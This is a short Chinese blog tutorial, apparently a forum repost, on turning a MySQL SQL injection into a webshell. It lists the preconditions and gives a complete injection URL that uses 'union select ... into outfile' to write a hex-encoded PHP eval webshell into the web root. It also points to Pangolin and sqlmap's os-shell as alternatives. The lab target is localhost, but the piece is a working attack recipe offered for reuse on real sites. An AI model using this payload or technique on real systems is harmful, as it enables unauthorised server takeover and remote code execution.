您的位置:首页 > 运维架构 > Shell

【sql注入教程】mysql注入直接getshell

2016-08-31 11:24 591 查看
Mysql注入直接getshell的条件相对来说比较苛刻点把

1:要知道网站绝对路径,可以通过报错,phpinfo界面,404界面等一些方式知道

2:gpc没有开启,开启了单引号被转义了,语句就不能正常执行了

3:要有file权限,默认情况下只有root有

4:对目录要有写权限,一般image之类的存放突破的目录就有

在实际环境中我只遇过一次,为了做实验,我把php.ini文件里面的gpc改为了Off,重启了一下apahce服务

首先是常规的注入语句

And 1=1 and 1=2 之类的,在输入单引号的时候报错了得到了觉得路径,写shell需要用到

 


然后order by union等

 


Mysql的注入语句可以参考这篇帖子http://bbs.ichunqiu.com/thread-5748-1-1.html

原创文章,希望大家多多支持

然后就是用into outfile写文件
http://127.0.0.1/mysqltest/index.php?age=25%20union%20select%201,2,3,4,0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e%20into%20outfile%20%27C:/appserv/www/mysqltest/shell1.php%27
0x3c3f706870206576616c28245f504f53545b2774657374275d293f3e是hex编码的<?php eval($_POST['test'])?>

 

写的文件名一定要是不存在的,不然就会不成功

这里的路径要用/,如果要用\的话,就要用\\ 转移成一个\ 如

C:\\appserv\\www\\mysqltest\\shell1.php

 




也可以直接用穿山甲来写

 


或者sqlmap的os-shell

原创文章,希望大家多多支持我

文章中的实验源码下载地址http://bbs.ichunqiu.com/thread-5748-1-1.html
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签:  sql注入 mysql